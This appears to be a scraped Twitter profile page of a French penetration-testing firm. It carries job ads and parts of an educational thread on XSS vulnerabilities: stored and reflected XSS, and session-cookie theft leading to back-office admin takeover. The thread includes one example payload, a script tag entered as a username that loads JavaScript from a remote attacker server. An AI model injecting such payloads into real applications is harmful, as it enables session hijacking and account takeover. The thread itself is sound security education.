@vaadata

Specialized in #pentest, we are passionate about #infosec #security

 LYON - FRANCE
vaadata.com
Joined November 2013
  • Tweets1.5K
  • Following273
  • Followers364
📣#Hiring : un-e ingĂ©nieur-e avant-vente #cybersĂ©curitĂ© pour rejoindre notre Ă©quipe 🎉👋 Vous accompagnerez nos clients depuis le diagnostic technique de leurs besoins jusqu’à la proposition de solutions adaptĂ©es Ă  leur contexte đŸ€ 👉linkedin.com/jobs/view/33926
 #cyberjob
on #recrute : pre-sales cybersecurity engineer

ALT on #recrute : pre-sales cybersecurity engineer

1
2
[Hiring 👀] Nous recherchons un-e stagiaire #pentester pour rejoindre notre Ă©quipe sur Lyon 🎉👋 L’annonce et toutes les infos → jobs.yeswehack.com/job/pente
 #infosecjobs #cyberjob #stage
2
2
Dans un prochain thread, nous expliquerons comment se prĂ©munir des failles XSS, cependant si vous ne pouvez pas attendre đŸ€“, vous trouverez plus d’informations ici 👉 vaadata.com/blog/fr/failles-
 15/15
Failles XSS : attaques et bonnes pratiques sécurité

ALT Failles XSS : attaques et bonnes pratiques sécurité

1
2ïžâƒŁ les XSS reflĂ©tĂ©es : Dans ce cas-lĂ , le script malveillant est fourni dans l’URL et repris dans la rĂ©ponse du serveur. Cette attaque nĂ©cessite donc une interaction de l’utilisateur (cliquer sur le lien) 13/15
Schéma attaque XSS reflétée

ALT Schéma attaque XSS reflétée

1
1ïžâƒŁ les XSS stockĂ©es : Comme dans l’exemple ci-dessus, le script malveillant (le script src
) sera stockĂ© sur le serveur. Cela aura pour consĂ©quence que tous les utilisateurs qui affichent la donnĂ©e non nettoyĂ©e exĂ©cuteront le script 12/15
SchĂ©ma d’une attaque XSS stockĂ©e

ALT SchĂ©ma d’une attaque XSS stockĂ©e

1
Pour en revenir aux XSS, il faut savoir qu’il en existe 3ïžâƒŁ types 11/15
1
Comme l’attaquant possĂšde maintenant un jeton de session, il peut maintenant usurper le compte du backoffice et donc ĂȘtre super admin 9/15
Bruteforcer le back office << Avoir une XSS dans le back office et avoir un compte

ALT Bruteforcer le back office << Avoir une XSS dans le back office et avoir un compte

1
Exemple : Une application permet à un utilisateur de saisir son nom d’utilisateur, un attaquant va par exemple saisir le code suivant : 5/15
<script src=‘ressource_sur_mon_serveur_distant.js’></script>

ALT <script src=‘ressource_sur_mon_serveur_distant.js’></script>

1
Avec du JavaScript interprĂ©tĂ©, plusieurs scĂ©narios sont possibles comme le vol de session, la rĂ©cupĂ©ration d’informations sensibles sur la page
 4/15
XSS pour voler les cookies de sessions

ALT XSS pour voler les cookies de sessions

1
Qu’est-ce qu’une faille XSS ? Une #XSS est une vulnĂ©rabilitĂ© de type injection 💉, tout comme les injections SQL L’idĂ©e est donc d’injecter du code qui sera interprĂ©tĂ©   2/15 #codeinjection #vulnerabilitĂ©
XSS et SQL injection handshake meme

ALT XSS et SQL injection handshake meme

1
Load more